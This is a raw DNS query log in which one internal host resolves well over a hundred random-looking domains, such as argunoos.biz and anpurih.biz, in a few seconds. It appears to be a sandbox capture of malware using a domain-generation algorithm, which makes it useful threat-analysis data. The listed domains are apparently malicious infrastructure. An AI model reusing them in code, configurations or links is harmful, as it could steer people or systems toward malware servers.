Jan 5, 2025 10:51:44.224288940 CET	192.168.2.4	1.1.1.1	0xc6b5	Standard query (0)	xomapu.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:44.273538113 CET	192.168.2.4	1.1.1.1	0xbbce	Standard query (0)	dshyorcwlbx.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:44.301758051 CET	192.168.2.4	1.1.1.1	0x889e	Standard query (0)	dshyorcwlbx.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:44.351588964 CET	192.168.2.4	1.1.1.1	0xb544	Standard query (0)	wcjuwiazord.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:44.364288092 CET	192.168.2.4	1.1.1.1	0xd767	Standard query (0)	wcjuwiazord.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:44.444844007 CET	192.168.2.4	1.1.1.1	0xe0b9	Standard query (0)	xqckyrswguab.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:44.459228039 CET	192.168.2.4	1.1.1.1	0xc0d5	Standard query (0)	xqckyrswguab.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:44.507242918 CET	192.168.2.4	1.1.1.1	0xece8	Standard query (0)	wcplzipmsuowc.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:44.527358055 CET	192.168.2.4	1.1.1.1	0xab91	Standard query (0)	wcplzipmsuowc.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:44.572182894 CET	192.168.2.4	1.1.1.1	0xa6d1	Standard query (0)	tgymawesidgmv.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:44.596652985 CET	192.168.2.4	1.1.1.1	0x5cbd	Standard query (0)	tgymawesidgmv.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:44.663707972 CET	192.168.2.4	1.1.1.1	0x2f30	Standard query (0)	wiiubcwu.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:44.707474947 CET	192.168.2.4	1.1.1.1	0xd326	Standard query (0)	wiiubcwu.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:44.773089886 CET	192.168.2.4	1.1.1.1	0x94de	Standard query (0)	pkgwwxa.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:44.796039104 CET	192.168.2.4	1.1.1.1	0x2ec4	Standard query (0)	pkgwwxa.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:44.852364063 CET	192.168.2.4	1.1.1.1	0x678	Standard query (0)	ybzgpgogo.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:44.878168106 CET	192.168.2.4	1.1.1.1	0x1fc4	Standard query (0)	ybzgpgogo.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:44.929703951 CET	192.168.2.4	1.1.1.1	0xc2e8	Standard query (0)	sbryieibyhiog.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:44.956556082 CET	192.168.2.4	1.1.1.1	0xce9f	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:44.966898918 CET	192.168.2.4	1.1.1.1	0x1c2e	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:45.008075953 CET	192.168.2.4	1.1.1.1	0xdbf0	Standard query (0)	cmspzpcyime.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:45.056651115 CET	192.168.2.4	1.1.1.1	0x61e5	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:45.064631939 CET	192.168.2.4	1.1.1.1	0x50c8	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:45.102957010 CET	192.168.2.4	1.1.1.1	0xc33a	Standard query (0)	zuyekgi.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:45.114830017 CET	192.168.2.4	1.1.1.1	0xc49a	Standard query (0)	zuyekgi.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:45.179857016 CET	192.168.2.4	1.1.1.1	0xaf48	Standard query (0)	uuakxpcodyo.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:45.965387106 CET	192.168.2.4	1.1.1.1	0x5d1	Standard query (0)	uuakxpcodyo.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:46.008156061 CET	192.168.2.4	1.1.1.1	0xc93e	Standard query (0)	ouughuceauhyk.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:46.022278070 CET	192.168.2.4	1.1.1.1	0x35a3	Standard query (0)	ouughuceauhyk.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:46.075536013 CET	192.168.2.4	1.1.1.1	0x3407	Standard query (0)	gheywgzgic.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:46.107186079 CET	192.168.2.4	1.1.1.1	0x37bd	Standard query (0)	gheywgzgic.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:46.165569067 CET	192.168.2.4	1.1.1.1	0x60fc	Standard query (0)	xgyos.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:46.196412086 CET	192.168.2.4	1.1.1.1	0xd7f8	Standard query (0)	xgyos.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:46.317776918 CET	192.168.2.4	1.1.1.1	0x29a8	Standard query (0)	wqywmqafkmw.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:46.378195047 CET	192.168.2.4	1.1.1.1	0xe741	Standard query (0)	wqywmqafkmw.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:46.429446936 CET	192.168.2.4	1.1.1.1	0x5a91	Standard query (0)	mokctkqiaa.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:46.695601940 CET	192.168.2.4	1.1.1.1	0x7c08	Standard query (0)	mokctkqiaa.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:46.773150921 CET	192.168.2.4	1.1.1.1	0x2399	Standard query (0)	gwrwxsaapap.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:46.803273916 CET	192.168.2.4	1.1.1.1	0x349	Standard query (0)	gwrwxsaapap.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:47.726346970 CET	192.168.2.4	1.1.1.1	0x4ef1	Standard query (0)	smecko.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:47.767095089 CET	192.168.2.4	1.1.1.1	0xf419	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:47.777484894 CET	192.168.2.4	1.1.1.1	0xb8e8	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:47.819924116 CET	192.168.2.4	1.1.1.1	0x9e5a	Standard query (0)	uimkqnaucke.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:47.915988922 CET	192.168.2.4	1.1.1.1	0xd760	Standard query (0)	uimkqnaucke.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:48.225992918 CET	192.168.2.4	1.1.1.1	0x4a16	Standard query (0)	kaeqqkocx.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:48.260519981 CET	192.168.2.4	1.1.1.1	0xa15c	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:48.272157907 CET	192.168.2.4	1.1.1.1	0x7f33	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:48.321060896 CET	192.168.2.4	1.1.1.1	0x928b	Standard query (0)	oiugelclnqi.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:48.370625973 CET	192.168.2.4	1.1.1.1	0xeee0	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:48.381072044 CET	192.168.2.4	1.1.1.1	0x9f67	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:48.429786921 CET	192.168.2.4	1.1.1.1	0xdd81	Standard query (0)	aaexegrojwrdp.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:48.482372046 CET	192.168.2.4	1.1.1.1	0xc053	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:48.540376902 CET	192.168.2.4	1.1.1.1	0x97ad	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:48.586131096 CET	192.168.2.4	1.1.1.1	0xabbc	Standard query (0)	jkukogsptal.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:48.618562937 CET	192.168.2.4	1.1.1.1	0xd13e	Standard query (0)	jkukogsptal.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:48.679198027 CET	192.168.2.4	1.1.1.1	0x5f72	Standard query (0)	uolsaisikpqpc.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:48.691317081 CET	192.168.2.4	1.1.1.1	0x34ca	Standard query (0)	uolsaisikpqpc.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:48.741875887 CET	192.168.2.4	1.1.1.1	0x3d29	Standard query (0)	xwfqkjefa.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:48.762736082 CET	192.168.2.4	1.1.1.1	0x72b9	Standard query (0)	xwfqkjefa.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:48.805294037 CET	192.168.2.4	1.1.1.1	0x4fb5	Standard query (0)	gehnusmwemh.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:48.830912113 CET	192.168.2.4	1.1.1.1	0x2019	Standard query (0)	gehnusmwemh.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:48.967959881 CET	192.168.2.4	1.1.1.1	0xe4ba	Standard query (0)	uyywyxggiyebm.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:49.271620035 CET	192.168.2.4	1.1.1.1	0x3e2d	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:49.282006979 CET	192.168.2.4	1.1.1.1	0x677e	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:49.319647074 CET	192.168.2.4	1.1.1.1	0x54ef	Standard query (0)	aeoou.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:49.380036116 CET	192.168.2.4	1.1.1.1	0x4755	Standard query (0)	aeoou.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:49.430104017 CET	192.168.2.4	1.1.1.1	0x81c8	Standard query (0)	snccscrdzq.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:49.442735910 CET	192.168.2.4	1.1.1.1	0x9b64	Standard query (0)	snccscrdzq.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:49.492196083 CET	192.168.2.4	1.1.1.1	0xc4c7	Standard query (0)	sehqgoumu.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:49.509701014 CET	192.168.2.4	1.1.1.1	0x27ff	Standard query (0)	sehqgoumu.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:49.570233107 CET	192.168.2.4	1.1.1.1	0xe7db	Standard query (0)	raipvegyj.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:49.763051033 CET	192.168.2.4	1.1.1.1	0xbdb0	Standard query (0)	raipvegyj.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:49.883008003 CET	192.168.2.4	1.1.1.1	0xc5a8	Standard query (0)	imogzwcwmkqdtm.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:49.932130098 CET	192.168.2.4	1.1.1.1	0x3304	Standard query (0)	imogzwcwmkqdtm.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:50.023708105 CET	192.168.2.4	1.1.1.1	0x1272	Standard query (0)	iiuwdiulcgyih.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:50.073548079 CET	192.168.2.4	1.1.1.1	0xc75e	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:50.087414026 CET	192.168.2.4	1.1.1.1	0x4dcb	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:50.132288933 CET	192.168.2.4	1.1.1.1	0x54fb	Standard query (0)	zangrewweloo.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:50.159332037 CET	192.168.2.4	1.1.1.1	0xb10f	Standard query (0)	zangrewweloo.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:50.211210966 CET	192.168.2.4	1.1.1.1	0xb825	Standard query (0)	sfcbvqt.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:50.271856070 CET	192.168.2.4	1.1.1.1	0xe640	Standard query (0)	sfcbvqt.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:50.572952986 CET	192.168.2.4	1.1.1.1	0xedf7	Standard query (0)	oeygvuzatkksg.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:50.641402960 CET	192.168.2.4	1.1.1.1	0xac26	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:50.654428959 CET	192.168.2.4	1.1.1.1	0xe325	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:50.696799994 CET	192.168.2.4	1.1.1.1	0xd985	Standard query (0)	tqciwucgyyotk.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:50.717039108 CET	192.168.2.4	1.1.1.1	0x85d3	Standard query (0)	tqciwucgyyotk.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:50.773578882 CET	192.168.2.4	1.1.1.1	0x7a1	Standard query (0)	sqwmqk.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:50.786875010 CET	192.168.2.4	1.1.1.1	0x9641	Standard query (0)	sqwmqk.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:50.820417881 CET	192.168.2.4	1.1.1.1	0x7324	Standard query (0)	kseukkoeq.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:50.838373899 CET	192.168.2.4	1.1.1.1	0x40a7	Standard query (0)	kseukkoeq.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:50.882833004 CET	192.168.2.4	1.1.1.1	0x5ea2	Standard query (0)	lrkjq.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:51.159976959 CET	192.168.2.4	1.1.1.1	0xfe5c	Standard query (0)	lrkjq.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:51.962421894 CET	192.168.2.4	1.1.1.1	0xd154	Standard query (0)	ukfmacpig.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:52.021480083 CET	192.168.2.4	1.1.1.1	0xa8e2	Standard query (0)	ukfmacpig.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:52.101896048 CET	192.168.2.4	1.1.1.1	0xfe15	Standard query (0)	gcvcccynkkhtg.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:52.117100954 CET	192.168.2.4	1.1.1.1	0xdac4	Standard query (0)	gcvcccynkkhtg.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:52.163736105 CET	192.168.2.4	1.1.1.1	0x24c	Standard query (0)	cqmcn.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:52.198772907 CET	192.168.2.4	1.1.1.1	0xcec6	Standard query (0)	cqmcn.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:52.241818905 CET	192.168.2.4	1.1.1.1	0x53d9	Standard query (0)	xiuydwcmgrous.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:52.280854940 CET	192.168.2.4	1.1.1.1	0xc9ad	Standard query (0)	xiuydwcmgrous.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:52.351396084 CET	192.168.2.4	1.1.1.1	0x9e98	Standard query (0)	iyskgbkca.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:52.380840063 CET	192.168.2.4	1.1.1.1	0x43d9	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:52.391187906 CET	192.168.2.4	1.1.1.1	0x1833	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:52.430896997 CET	192.168.2.4	1.1.1.1	0x272f	Standard query (0)	mlzgelseemt.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:52.478153944 CET	192.168.2.4	1.1.1.1	0xc168	Standard query (0)	mlzgelseemt.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:52.538754940 CET	192.168.2.4	1.1.1.1	0xd048	Standard query (0)	sivkfim.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:52.549031019 CET	192.168.2.4	1.1.1.1	0x7529	Standard query (0)	sivkfim.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:52.586025000 CET	192.168.2.4	1.1.1.1	0xd987	Standard query (0)	rinnyewywawai.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:52.596842051 CET	192.168.2.4	1.1.1.1	0xfaf0	Standard query (0)	rinnyewywawai.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:52.632294893 CET	192.168.2.4	1.1.1.1	0xf9cb	Standard query (0)	wcpvv.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:52.909820080 CET	192.168.2.4	1.1.1.1	0x6c55	Standard query (0)	wcpvv.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:52.976178885 CET	192.168.2.4	1.1.1.1	0x9b70	Standard query (0)	kgxeeyc.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:53.011066914 CET	192.168.2.4	1.1.1.1	0xb0a0	Standard query (0)	kgxeeyc.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:53.085820913 CET	192.168.2.4	1.1.1.1	0x1a15	Standard query (0)	knqeasqwo.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:53.103809118 CET	192.168.2.4	1.1.1.1	0xd9ba	Standard query (0)	knqeasqwo.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:53.148128986 CET	192.168.2.4	1.1.1.1	0x8b6	Standard query (0)	ukayp.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:53.169323921 CET	192.168.2.4	1.1.1.1	0x9570	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:53.178750992 CET	192.168.2.4	1.1.1.1	0x52d0	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:53.226146936 CET	192.168.2.4	1.1.1.1	0xb3bb	Standard query (0)	wgnuhce.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:53.271301985 CET	192.168.2.4	1.1.1.1	0xa2a7	Standard query (0)	wgnuhce.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:53.320269108 CET	192.168.2.4	1.1.1.1	0xffdb	Standard query (0)	sucqgwmgtooxj.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:53.360371113 CET	192.168.2.4	1.1.1.1	0x3a1	Standard query (0)	sucqgwmgtooxj.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:53.696501017 CET	192.168.2.4	1.1.1.1	0xfbd	Standard query (0)	uefqem.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:53.731709957 CET	192.168.2.4	1.1.1.1	0x5d7f	Standard query (0)	uefqem.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:54.023442030 CET	192.168.2.4	1.1.1.1	0xd550	Standard query (0)	agibqcoarqs.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:54.308954954 CET	192.168.2.4	1.1.1.1	0x8c4e	Standard query (0)	agibqcoarqs.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:54.710599899 CET	192.168.2.4	1.1.1.1	0xcac5	Standard query (0)	gnaeppaegscpu.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:54.807199001 CET	192.168.2.4	1.1.1.1	0x997c	Standard query (0)	gnaeppaegscpu.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:55.711318016 CET	192.168.2.4	1.1.1.1	0xe2d7	Standard query (0)	oeciavyaqmmmwo.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:55.723335981 CET	192.168.2.4	1.1.1.1	0x3c32	Standard query (0)	oeciavyaqmmmwo.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:55.789375067 CET	192.168.2.4	1.1.1.1	0xf2c2	Standard query (0)	picpaykwm.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:55.810612917 CET	192.168.2.4	1.1.1.1	0x9167	Standard query (0)	picpaykwm.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:55.866756916 CET	192.168.2.4	1.1.1.1	0xa80f	Standard query (0)	ymetq.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:55.879966974 CET	192.168.2.4	1.1.1.1	0xcea6	Standard query (0)	ymetq.cd	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:55.929435968 CET	192.168.2.4	1.1.1.1	0xb339	Standard query (0)	saomdtepk.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:56.494549990 CET	192.168.2.4	1.1.1.1	0x32b	Standard query (0)	saomdtepk.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:56.554203987 CET	192.168.2.4	1.1.1.1	0xa9ba	Standard query (0)	mjbwd.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:56.671322107 CET	192.168.2.4	1.1.1.1	0x8017	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:56.687829971 CET	192.168.2.4	1.1.1.1	0x8e8e	Standard query (0)	argunoos.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:56.726448059 CET	192.168.2.4	1.1.1.1	0x88d9	Standard query (0)	whaemecqv.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:56.783041954 CET	192.168.2.4	1.1.1.1	0xf74b	Standard query (0)	whaemecqv.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:56.851470947 CET	192.168.2.4	1.1.1.1	0x8b82	Standard query (0)	murxwyoxuauqe.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:56.866573095 CET	192.168.2.4	1.1.1.1	0x3e3	Standard query (0)	murxwyoxuauqe.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:56.913472891 CET	192.168.2.4	1.1.1.1	0xe881	Standard query (0)	qomjoycmgieg.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:56.956846952 CET	192.168.2.4	1.1.1.1	0x18f3	Standard query (0)	qomjoycmgieg.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:57.054510117 CET	192.168.2.4	1.1.1.1	0x130b	Standard query (0)	etuojug.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:57.098328114 CET	192.168.2.4	1.1.1.1	0xc29b	Standard query (0)	etuojug.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:57.164036036 CET	192.168.2.4	1.1.1.1	0xdf93	Standard query (0)	xoomw.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:57.192357063 CET	192.168.2.4	1.1.1.1	0xd5fc	Standard query (0)	anpurih.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:57.203902960 CET	192.168.2.4	1.1.1.1	0xffb9	Standard query (0)	anpurih.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:57.241602898 CET	192.168.2.4	1.1.1.1	0x5bdb	Standard query (0)	afymokx.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:57.268994093 CET	192.168.2.4	1.1.1.1	0x1d1	Standard query (0)	afymokx.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:57.400310040 CET	192.168.2.4	1.1.1.1	0xbade	Standard query (0)	ywowanpba.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:57.414335966 CET	192.168.2.4	1.1.1.1	0x2327	Standard query (0)	ywowanpba.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:57.467622042 CET	192.168.2.4	1.1.1.1	0xb7b5	Standard query (0)	vnqjxaxqkbbus.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:57.537276030 CET	192.168.2.4	1.1.1.1	0x75f9	Standard query (0)	anpurih.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:57.565527916 CET	192.168.2.4	1.1.1.1	0x4616	Standard query (0)	anpurih.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:57.601695061 CET	192.168.2.4	1.1.1.1	0xa65a	Standard query (0)	xygzk.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:57.713624954 CET	192.168.2.4	1.1.1.1	0xb8e6	Standard query (0)	xygzk.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:57.981661081 CET	192.168.2.4	1.1.1.1	0x4243	Standard query (0)	fepyp.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:57.994527102 CET	192.168.2.4	1.1.1.1	0x4582	Standard query (0)	fepyp.pw	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:58.046904087 CET	192.168.2.4	1.1.1.1	0xf1b5	Standard query (0)	kgxgw.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:58.076324940 CET	192.168.2.4	1.1.1.1	0x4278	Standard query (0)	kgxgw.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:58.117120981 CET	192.168.2.4	1.1.1.1	0xffbf	Standard query (0)	vdoiuavwsc.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:58.144994020 CET	192.168.2.4	1.1.1.1	0xe9c7	Standard query (0)	vdoiuavwsc.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:58.304339886 CET	192.168.2.4	1.1.1.1	0x73c9	Standard query (0)	ewivwvcymhkio.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:58.317866087 CET	192.168.2.4	1.1.1.1	0x4ecb	Standard query (0)	ewivwvcymhkio.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:58.351042032 CET	192.168.2.4	1.1.1.1	0xe1a9	Standard query (0)	cukev.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:58.451375008 CET	192.168.2.4	1.1.1.1	0x99b8	Standard query (0)	cukev.mp	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:58.491919994 CET	192.168.2.4	1.1.1.1	0x7a66	Standard query (0)	caqeuikgqbq.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:58.518678904 CET	192.168.2.4	1.1.1.1	0xa4f3	Standard query (0)	caqeuikgqbq.tk	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:58.663714886 CET	192.168.2.4	1.1.1.1	0xc43a	Standard query (0)	mewii.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:58.680501938 CET	192.168.2.4	1.1.1.1	0x9d8	Standard query (0)	mewii.museum	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:58.732264996 CET	192.168.2.4	1.1.1.1	0x302d	Standard query (0)	rvgjfludpeo.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:58.769531965 CET	192.168.2.4	1.1.1.1	0xd094	Standard query (0)	rvgjfludpeo.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:58.835427046 CET	192.168.2.4	1.1.1.1	0xfb3c	Standard query (0)	kjqii.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:59.110150099 CET	192.168.2.4	1.1.1.1	0x8498	Standard query (0)	kjqii.st	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:59.179176092 CET	192.168.2.4	1.1.1.1	0x3477	Standard query (0)	xgotixwyk.vg	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:59.196357012 CET	192.168.2.4	1.1.1.1	0x7788	Standard query (0)	anpurih.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:59.207425117 CET	192.168.2.4	1.1.1.1	0xfdc5	Standard query (0)	anpurih.biz	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:59.241915941 CET	192.168.2.4	1.1.1.1	0x8dab	Standard query (0)	utseaqobugn.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:59.277565956 CET	192.168.2.4	1.1.1.1	0xba34	Standard query (0)	utseaqobugn.nu	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:59.319716930 CET	192.168.2.4	1.1.1.1	0xf816	Standard query (0)	meywp.ws	A (IP address)	IN (0x0001)	false
Jan 5, 2025 10:51:59.347224951 CET	192.168.2.4	1.1.1.1	0x7bc9	Standard query (0)	anpurih.biz	A (IP address)	IN (0x0001)	false
